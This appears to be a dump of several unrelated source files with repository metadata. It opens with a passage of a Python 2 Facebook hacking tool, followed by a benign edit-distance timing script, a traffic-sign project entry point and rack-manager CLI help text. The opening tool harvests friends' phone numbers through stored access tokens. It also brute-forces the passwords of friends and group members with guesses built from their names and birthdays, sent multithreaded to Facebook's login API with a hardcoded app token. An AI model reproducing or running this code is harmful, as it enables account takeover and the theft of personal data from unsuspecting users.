'\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react() def root(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\033[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print banner print 10 * ' '+G+'[ Auto React ]\n'+N ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) loading('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print '' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Result \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() except KeyError: print '\x1b[1;91m[!] Wrong ID' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() except KeyboardInterrupt: menu() ########################################################################### # Profile Guard # ########################################################################### def guard(): global toket os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print R+'[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print banner print 10 * ' '+G+'[ Profile Guard ]\n'+N print G+'['+W+'01'+G+'] Enable'+N print G+'['+W+'02'+G+'] Disable'+N print R+'['+W+'00'+R+'] Back'+N print '' turn() def turn(): g = raw_input(G+'RootSec'+R+' \xe2\x96\xb6 '+W) if g == '1' or g == '01': On = 'true' gaz(toket, On) else: if g == '2' or g == '02': Off = 'false' gaz(toket, Off) else: if g == '0' or g == '00': menu() else: if g == '': print R+'Can\'t be Empty'+N turn() else: print R+'Can\'t be Empty'+N turn() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('clear') print banner print '' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mActivated' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') guard() else: if '"is_shielded":false' in res.text: os.system('clear') print banner print '' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDeactivated' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') guard() else: print '\x1b[1;91m[!] Error' menu() ########################################################################### # Dump group id # ########################################################################### def dumpg(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print banner loading(' Please wait ...') print '' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) group = json.loads(uh.text) for p in group['data']: nama = p['name'] id = p['id'] f = open('id.txt', 'w') listgrup.append(id) print G + '[+] Name ' + V + '-> ' + W + str(nama) print G + '[-] ID ' + V + '-> ' + W + str(id) print '' print '\n[+] Total Groups : %s' % len(listgrup) f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() except KeyError: print '\x1b[1;91m[!] Group not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' quit() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() ########################################################################### # Get all friends phone numbers # ########################################################################### def phone(): os.system('clear') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('result') except OSError: pass try: os.system('clear') print banner2 loading('\033[1;92m Getting friends mobile number ') url= "https://graph.facebook.com/me/friends?access_token="+toket r =requests.get(url) z=json.loads(r.text) bz = open('result/phone_number.txt','w') for n in z["data"]: x = requests.get("https://graph.facebook.com/"+n['id']+"?access_token="+toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) bz.write(z['mobile_phone'] + '\n') print ("\r\033[1;92m "+str(len(hp))+"\033[1;97m.\033[1;97m \033[1;92m"+z['name']+" "+V+z['mobile_phone']+"\n"),;sys.stdout.flush();time.sleep(0.0001) except KeyError: pass bz.close() print '\r\033[1;91m[\033[1;96m?\033[1;91m] \033[1;92mSuccessfully get number \033[1;97m....' print"\r\033[1;91m[+] \033[1;92mTotal Number \033[1;91m: \033[1;97m%s"%(len(hp)) done = raw_input("\r\033[1;91m[+] \033[1;92mSave file with name\033[1;91m :\033[1;97m ") os.rename('result/phone_number.txt','result/'+done) print("\r\033[1;91m[+] \033[1;92mFile saved \033[1;91m: \033[1;97mout/"+done) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu() except IOError: print"\033[1;91m[!] Error creating file" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu() except KeyError: print('\033[1;91m[!] Error') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu() except requests.exceptions.ConnectionError: print"\033[1;91m Please Check Your Connection" quit() ########################################################################### # Start Cracking # ########################################################################### def super(): global toket os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print banner print W + ' 1.' + G + ' Cracked from friends Facebook' print W + ' 2.' + G + ' Cracked from Group Facebook' print W + ' 3.' + G + ' Cracked from File ID' print W + ' 0.' + R + ' Exit' print '' pilih_super() def pilih_super(): peak = raw_input(G + ' adapcsg\x1b[1;91m >\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Empty command' pilih_super() elif peak == '1': os.system('clear') print banner loading(G + '[+] ' + V + 'Cracking Please Wait...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == '2': os.system('clear') print banner idg = raw_input('\x1b[1;91m[+] \x1b[1;92m Group ID \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName Group \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Group not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) elif peak == '3': os.system('clear') try: print banner idlist = raw_input('\x1b[1;91m[+] \x1b[1;92m File ID \x1b[1;91m:\x1b[1;97m') for line in open(idlist, 'r').readlines(): id.append(line.strip()) except: pass elif peak == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mCan\'t be Empty' pilih_super() print G + '[+]' + V + ' Total ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) loading(G + '[=] Please wait \x1b[1;97m...\n') def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) # Password Guess 1 pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\n\x1b[1;95m Email :\x1b[1;97m ' + user + ' \n\x1b[1;95m Password :\x1b[1;97m ' + pass1 elif 'www.facebook.com' in q['error_msg']: print '\n\x1b[1;91m Email :\x1b[1;97m ' + user + ' \n\x1b[1;91m Password :\x1b[1;97m ' + pass1 else: # Password Guess 2 pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\n\x1b[1;95m Email :\x1b[1;97m ' + user + ' \n\x1b[1;95m Password :\x1b[1;97m ' + pass2 elif 'www.facebook.com' in q['error_msg']: print '\n\x1b[1;91m Email :\x1b[1;97m ' + user + ' \n\x1b[1;91m Password :\x1b[1;97m ' + pass2 else: # Password Guess 3 pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\n\x1b[1;95m Email :\x1b[1;97m ' + user + ' \n\x1b[1;95m Password :\x1b[1;97m ' + pass3 elif 'www.facebook.com' in q['error_msg']: print '\n\x1b[1;91m Email :\x1b[1;97m ' + user + ' \n\x1b[1;91m Password :\x1b[1;97m ' + pass3 else: # Password Guess 4 birth = b['birthday'] pass4 = birth.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\n\x1b[1;95m Email :\x1b[1;97m ' + user + ' \n\x1b[1;95m Password :\x1b[1;97m ' + pass4 elif 'www.facebook.com' in q['error_msg']: print '\n\x1b[1;91m Email :\x1b[1;97m ' + user + ' \n\x1b[1;91m Password :\x1b[1;97m ' + pass4 else: # Password Guess 5 pass5 = b['last_name'] + '04' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\n\x1b[1;95m Email :\x1b[1;97m ' + user + ' \n\x1b[1;95m Password :\x1b[1;97m ' + pass5 elif 'www.facebook.com' in q['error_msg']: print '\n\x1b[1;91m Email :\x1b[1;97m ' + user + ' \n\x1b[1;91m Password :\x1b[1;97m ' + pass5 else: # Password Guess 6 pass6 = b['first_name'] + '04' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\n\x1b[1;95m Email :\x1b[1;97m ' + user + ' \n\x1b[1;95m Password :\x1b[1;97m ' + pass6 elif 'www.facebook.com' in q['error_msg']: print '\n\x1b[1;91m Email :\x1b[1;97m ' + user + ' \n\x1b[1;91m Password :\x1b[1;97m ' + pass6 else: pass except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mFinish' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') super() if __name__ == '__main__': login()
37.362667
427
0.485119
360bb1885652138297084ec8d089c22a4b1a579d
781
py
Python
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex02_edit_distance_timing_memo.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex02_edit_distance_timing_memo.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/Python_Challenge/solutions/ch07_recursion_advanced/solutions/ex02_edit_distance_timing_memo.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
# Beispielprogramm für das Buch "Python Challenge" # # Copyright 2020 by Michael Inden import time from ch07_recursion_advanced.solutions.ex02_edit_distance import edit_distance_optimized def main(): inputs_tuples = [["Micha", "Michael"], ["Ananas", "Banane"], ["sunday-Morning", "saturday-Night"], ["sunday-Morning-Breakfast", "saturday-Night-Party"]] for inputs in inputs_tuples: start = time.process_time() result = edit_distance_optimized(inputs[0], inputs[1]) end = time.process_time() print(inputs[0] + " -> " + inputs[1] + " edits: ", result) print("edit_distance_optimized took %.2f ms" % ((end - start) * 1000)) if __name__ == "__main__": main()
26.033333
88
0.612036
36e53bc6cba83a02182daac0ce0b7271b29a6f65
1,600
py
Python
dev/Main.py
betaros/traffic_sign
6f5ef4afb7093c929cc2e94c7f72daebbd149b7e
[ "MIT" ]
null
null
null
dev/Main.py
betaros/traffic_sign
6f5ef4afb7093c929cc2e94c7f72daebbd149b7e
[ "MIT" ]
null
null
null
dev/Main.py
betaros/traffic_sign
6f5ef4afb7093c929cc2e94c7f72daebbd149b7e
[ "MIT" ]
null
null
null
""" This project trains an AI to detect german traffic signs and sends the recognized signs to ros TODO: - interpolate ROI from CSV to new dimensions - integrate ROS platform Authors: Jan Fuesting Last edited: 10.09.2018 """ import os from Misc import Misc from Recognition import Recognition from Training import Training # Conflict ROS Kinetic and OpenCV # https://stackoverflow.com/questions/43019951/after-install-ros-kinetic-cannot-import-opencv class Main: """ Main class """ def __init__(self): """ Initialization """ self.misc = Misc() self.recognition = Recognition() self.training = Training() def run(self): """ This method controls program sequence :return: """ # Initialize system self.misc.logger.debug("Program started") dataset_path = self.misc.project_root + "/dataset" if not os.path.exists(dataset_path): os.makedirs(dataset_path) # Getting and manipulating datasets # self.training.download_pos_files(images=True, haar=True) # self.training.download_neg_files() # self.training.download_face_recognition_haar() # self.training.manipulate_image() # self.training.generate_description_traffic() # self.training.generate_description_airplanes() # Get camera image and find traffic signs # self.recognition.face_recognition() self.recognition.get_camera_image() self.misc.logger.debug("Program finished") main = Main() main.run()
26.229508
94
0.6625
3d5730922653f73050d5a2f1034fef8c52da424a
36,010
py
Python
Contrib-Microsoft/Olympus_rack_manager/python-ocs/ocscli/ocs_help.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
5
2019-11-11T07:57:26.000Z
2022-03-28T08:26:53.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/ocscli/ocs_help.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
3
2019-09-05T21:47:07.000Z
2019-09-17T18:10:45.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/ocscli/ocs_help.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
11
2019-07-20T00:16:32.000Z
2022-01-11T14:17:48.000Z
# Copyright (C) Microsoft Corporation. All rights reserved. # This program is free software; you can redistribute it # and/or modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # -*- coding: UTF-8 -*- from ocsshell import * from utils_print import ocsprint def network_commands_list(self): networkcmdlist = ['interface','route' ,'static','dhcp','enable','disable'] commandtype_header = "Network Commands list (type help <command>)" ocsprint ("") ocsshell().print_topics(commandtype_header, networkcmdlist,15,80) def system_commands_list(self): showsystemcmdlist = ['info', 'health','tpmphysicalpresence', 'nextboot', 'defaultpower', 'state', 'presence', 'readlog', 'readlogwithtimestamp', 'biosconfig', 'bioscode', 'fru', 'datasafepolicy', 'nvme', "type"] setsystemcmdlist = ['tpmphysicalpresence', 'nextboot', 'defaultpower', 'on', 'off', 'reset', 'ledon', 'ledoff', 'clearlog', 'biosconfig', 'datasafepolicy', 'rmediamount', 'rmediaunmount'] showsystemsubcmdlist = ['power', 'fpga' , 'psu'] setsystemsubcmdlist = ['power', 'fpga' , 'psu'] show_commandtype_header = "Show System Commands list (type help <command>)" show_subcommandtype_header = "Show System Subcommands list (type help <command>)" set_commandtype_header = "Set System Commands list (type help <command>)" set_subcommandtype_header = "Set System Subcommands list (type help <command>)" ocsprint ("") ocsshell().print_topics(show_commandtype_header, showsystemcmdlist,15,80) ocsprint ("") ocsshell().print_topics(show_subcommandtype_header, showsystemsubcmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_commandtype_header, setsystemcmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_subcommandtype_header, setsystemsubcmdlist,15,80) def manager_commands_list(self): showmanagercmdlist = ['ledstatus', 'info', 'portstate', 'relay', 'health', 'tftp status', 'nfs status','fru', 'log','inventory', 'time', 'type', 'scandevice', 'fwupdate'] setmanagercmdlist = ['led on', 'led off', 'relay on', 'relay off', 'tftp start', 'tftp stop', 'porton','portoff', 'tftp get', 'nfs start', 'nfs stop', 'fwupdate', 'clearlog', 'time'] showmanagersubcmdlist = ['power', 'powermeter', 'network'] setmanagersubcmdlist = ['power', 'powermeter', 'network'] show_commandtype_header = "Show Rack Manager Commands list (type help <command>)" show_subcommandtype_header = "Show Rack Manager Subcommands list (type help <command>)" set_commandtype_header = "Set Rack Manager Commands list (type help <command>)" set_subcommandtype_header = "Set Rack Manager Subcommands list (type help <command>)" ocsprint ("") ocsshell().print_topics(show_commandtype_header, showmanagercmdlist,15,80) ocsprint ("") ocsshell().print_topics(show_subcommandtype_header, showmanagersubcmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_commandtype_header, setmanagercmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_subcommandtype_header, setmanagersubcmdlist,15,80) def ocspower_commands_list(self, command): if command == "manager": showpowercmdlist = ['reading', 'status'] setpowercmdlist = ['clearfaults'] elif command == "system": showpowercmdlist = ['limit', 'reading', 'alert', 'throttle'] setpowercmdlist = ['limit value', 'limit on', 'limit off', 'alert'] else: showpowercmdlist = [] setpowercmdlist = [] show_commandtype_header = "Show OcsPower Commands list (type sh system or manager power <command> -h)" set_commandtype_header = "Set OcsPower Commands list (type set system or manager power <command> -h)" ocsprint ("") ocsshell().print_topics(show_commandtype_header, showpowercmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_commandtype_header, setpowercmdlist,15,80) def powermeter_commands_list(self): showpowercmdlist = ['limit', 'alert', 'reading', 'version'] setpowercmdlist = ['limit', 'alert', 'clearmax', 'clearfaults'] show_commandtype_header = "Show PowerMeter Commands list (type sh manager powermeter <command> -h)" set_commandtype_header = "Set PowerMeter Commands list (type set manager powermeter <command> -h)" ocsprint ("") ocsshell().print_topics(show_commandtype_header, showpowercmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_commandtype_header, setpowercmdlist,15,80) def fpga_commands_list(self): showfpgacmdlist = ['health', 'mode', 'temp', 'i2cversion', 'assetinfo'] setfpgacmdlist = ['bypass enable', 'bypass disable'] show_commandtype_header = "Show FPGA Commands list (type sh system fpga <command> -h)" set_commandtype_header = "Set FPGA Commands list (type set system fpga <command> -h)" ocsprint ("") ocsshell().print_topics(show_commandtype_header, showfpgacmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_commandtype_header, setfpgacmdlist,15,80) def psu_commands_list(self): showpsucmdlist = ['read', 'battery', 'update', 'version'] setpsucmdlist = ['clear', 'battery', 'update'] show_commandtype_header = "Show PSU Commands list (type sh system psu <command> -h)" set_commandtype_header = "Set PSU Commands list (type set system psu <command> -h)" ocsprint ("") ocsshell().print_topics(show_commandtype_header, showpsucmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_commandtype_header, setpsucmdlist,15,80) def user_commands_list(self): showusercmdlist = ['info'] setusercmdlist = ['add', 'update', 'delete'] show_commandtype_header = "Show User Commands list (type help <command>)" set_commandtype_header = "Set User Commands list (type help <command>)" ocsprint ("") ocsshell().print_topics(show_commandtype_header, showusercmdlist,15,80) ocsprint ("") ocsshell().print_topics(set_commandtype_header, setusercmdlist,15,80) ############################################################################## # Network help commands ############################################################################## def help_network(self,commands): """ Ocscli Network "show" Commands : ======================================================= interface route Ocscli Network "set" Commands: (Network configuration) ======================================================== static: Set interface to static IP address: dhcp: Set interface to DHCP: enable : Will bring interface up if it is currently down disable : Will bring interface down if it is currently up """ def help_interface(self,command): """ interface: Shows interface details ==================================================== Usage: show/sh network interface -i {eth0, eth1} -i -- interface name {"eth0" or "eth1"} [-h] -help; display the correct syntax Syntax: show network interface -h """ def help_route(self,command): """ route: Show management network route ==================================================== Usage: show/sh network route Syntax: show network route """ def help_static(self,command): """ static:Set interface to static IP address ============================================== Usage: set network static -i {interface name} -a {IP address} -s {subnetmask} -g {gateway} -i -- interface name {"eth0" or "eth1"} -a -- IP Address (Required for static) -s -- Subnetmask (Required for static) -g -- gateway (Optional for static IP) [-h] -help; display the correct syntax Syntax: set network static -h """ def help_dhcp(self,command): """ dhcp:Set interface to dhcp ============================================== Usage: set network dhcp -i {interface name} -d -i -- interface name {"eth0" or "eth1"} [-h] -help; display the correct syntax Syntax: set network dhcp -h """ def help_enable(self,command): """ setinterfaceenable: Will bring interface up if it is currently down. ================================================= Usage: set network enable -i {interface name} -i -- interface name {"eth0" or "eth1"} [-h] -help; display the correct syntax """ def help_disable(self,command): """ setinterfacedisable: Will bring interface down if it is currently up. ================================================= Usage: set network disable -i {interface name} -i -- interface name {"eth0" or "eth1"} [-h] -help; display the correct syntax """ ############################################################################## # System help commands ############################################################################## def help_system(self,commands): """ """ def help_serial(self,commands): """ System "Serial" Commands: ======================================================== startserialsession stopserialsession """ def help_info(self, commands): """ systeminfo : Shows system information ======================================================= Usage: show system info -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_tpmphysicalpresence(self, commands): """ Show: tpmphysicalpresence: Retrieves a bit flag stored in the BMC that indicates whether or not physical presence is asserted. ======================================================================= Usage: show system tpm presence -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax ####################################### Set: tpmphysicalpresence: Sets a bit flag in the BMC. ======================================================================= Usage: set system tpm presence -i {serverid} -i -- serverid, the target server number. Typically 1-48 -p -- presence, physical presence flag {0 (Not assesrted: flag is false),1 (Asserted: flag is true)} [-h] -help; display the correct syntax """ def help_nextboot(self, commands): """ Show: nextboot: This command gets the pending boot order to be applied the next time the server boots. ======================================================================= Usage: show system nextboot -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax ####################################### Set: nextboot: This command sets the device boot type of the start boot device during the subsequent reboot for a server. ============================================================================ Usage: set system nextboot -i {serverid} -t {boot_type} -i -- serverid, the target server number. Typically 1-48 -t -- boot_type: 1.none: No override 2.pxe: Force PXE boot; 3.disk: Force boot from default Hard-drive; 4.bios: Force boot into BIOS Setup; 5.floppy: Force boot from Floppy/primary removable media [-h] -help; display the correct syntax syntax: set system nextboot -i 1 -t none """ def help_on(self, commands): """ on: This command supplies the power to the server chipset,initializing the boot process. This command is used to soft power the server ON. ================================================================================= Usage: set system on -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_off(self, commands): """ off: This command removes the power to the server chipset. This command is used to soft power the server OFF. ==================================================================== Usage: set system off -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_state(self, commands): """ state: This command gets the ON/OFF state of the server. (whether the server chipset is receiving power). ======================================================================== Usage: show system state -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_defaultstate(self, commands): """ defaultpowerstate: This command gets the default power state of the server ON/OFF. ================================================================================= Usage: show system default power -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax ################################################################################ Set: defaultpowerstate: This command sets the default power state of the server ON/OFF. ================================================================================= Usage: set system default power -i {serverid} -s {state} -i -- serverid, the target server number. Typically 1-48 -s -- state, can be 0(default power state OFF) or 1 (default power state ON) [-h] -help; display the correct syntax """ def help_reset(self, commands): """ reset: This command power cycles or soft resets the server(s). ============================================================================== Usage: set system reset -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_ledon(self, commands): """ ledon: This command turns the server attention LED on. ==================================================================== Usage: set system led on -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_ledoff(self, commands): """ ledoff: This command turns the server attention LED off. ===================================================================== Usage: set system led off -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_readlog(self, commands): """ readlog: This command reads the log from a server. ===================================================================== Usage: show system log read -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_clearlog(self, commands): """ clearlog: This command clears the log from a server. ===================================================================== Usage: set system log clear -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_readlogwithtimestamp(self, commands): """ readlogwithtimestamp: This command reads the log from a server based on start and end date time stamp. ====================================================================================== Usage: show system log timestamp -i {serverid} -s {starttimestamp} -e {endtimestamp} -i -- serverid, the target server number. Typically 1-48 -s -- start date time, start date time stamp ex: M/D/Y-HH:MM:SS -e -- end date time, end date time stamp ex: M/D/Y-HH:MM:SS [-h] -help; display the correct syntax """ def help_bioscode(self, commands): """ bioscode: This command gets the post code for the server with specified serverid. ================================================================================== Usage: show system bios code -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_biosconfig(self, commands): """ biosconfig: Shows currentconfig,choosenconfig and availableconfigs ===================================================================== Usage: show system bios config -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax ##################################################################### Set: biosconfig: Sets the configuration that the user expects in the subsequent reboot of the server. ================================================================================================= Usage: set system bios config -i {serverid} -j {major-config} -n {minor-config} -i -- serverid, the target server number. Typically 1-48 -j -- major-config, major configuration number -n -- minor-config, minor configuration number (refer to showbiosconfig for available configurations) [-h] -help; display the correct syntax """ def help_presence(self, commands): """ showportpresence: This command gets the presence (True/False) of the server. =========================================================================== Usage: show system port presence -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ def help_startserialsession(self, commands): """ startserialsession: Starts the server serial session. ============================================================ Usage: start serial session -i {serverid} -f -i -- serverid, the target server number. Typically 1-48 -f -- optional command, that will forcefully start session by killing any existing session [-h] -help; display the correct syntax """ def help_stopserialsession(self, commands): """ stopserialsession: Stops the server serial session. ============================================================ Usage: stop serial session -i {serverid} -i -- serverid, the target server number. Typically 1-48 [-h] -help; display the correct syntax """ ################################################################################################################ # RACK MANAGER Help Commands ################################################################################################################ def help_manager(self,commands): """ """ def help_fru(self,commans): """ Showmanagerfru: This command shows the manager fru data. ============================================================ Usage: show manager fru [-b{mb,pib,acdc} -b -- manager boardname, default set to mb Rack Manager board names {mb, pib,acdc} Row Manager board names {mb, pib} Setmanagerfru: This command setd the fru data to manager. ============================================================ Usage: set manager fru [-b{mb,pib,acdc} -f <filename> -b -- manager boardname, default set to mb -f -- filename to write fru data Rack Manager board names {mb, pib,acdc} Row Manager board names {mb, pib} [-h] -help; display the correct syntax """ def help_relay(self, commands): """ relay: This command shows the status of chassis AC sockets. ============================================================ Usage: show manager -p {port_id} -p -- port_id, the target port number (Typically 1 to 4) [-h] -help; display the correct syntax """ def help_relayon(self, commands): """ relayon: This command turns the manager AC sockets ON. ============================================================ Usage: set manager relayon -p {port_id} -p -- port_id, the target port number (Typically 1 to 4) [-h] -help; display the correct syntax """ def help_relayoff(self, commands): """ relayoff: This command turns the manager AC sockets OFF. ============================================================ Usage: set manager relayoff -p {port_id} -p -- port_id, the target port number (Typically 1 to 4) [-h] -help; display the correct syntax """ def help_managerinfo(self, commands): """ info: This command returns rack manager info. =========================================================== Usage: show manager info [-h] -help; display the correct syntax """ def help_managerportstatus(self, commands): """ portstatus: This command returns the power port status. =========================================================== Usage: show manager port -i {port_id} -i --port_id, the target port number {1-48, or 0 for all} [-h] -help; display the correct syntax """ def help_attentionledstatus(self, commands): """ attentionledstatus: This command returns the attention led status. ================================================================= Usage: show manager led [-h] -help; display the correct syntax """ def help_managerattentionledon(self, commands): """ ledon: This command turns attention led on. =========================================================== 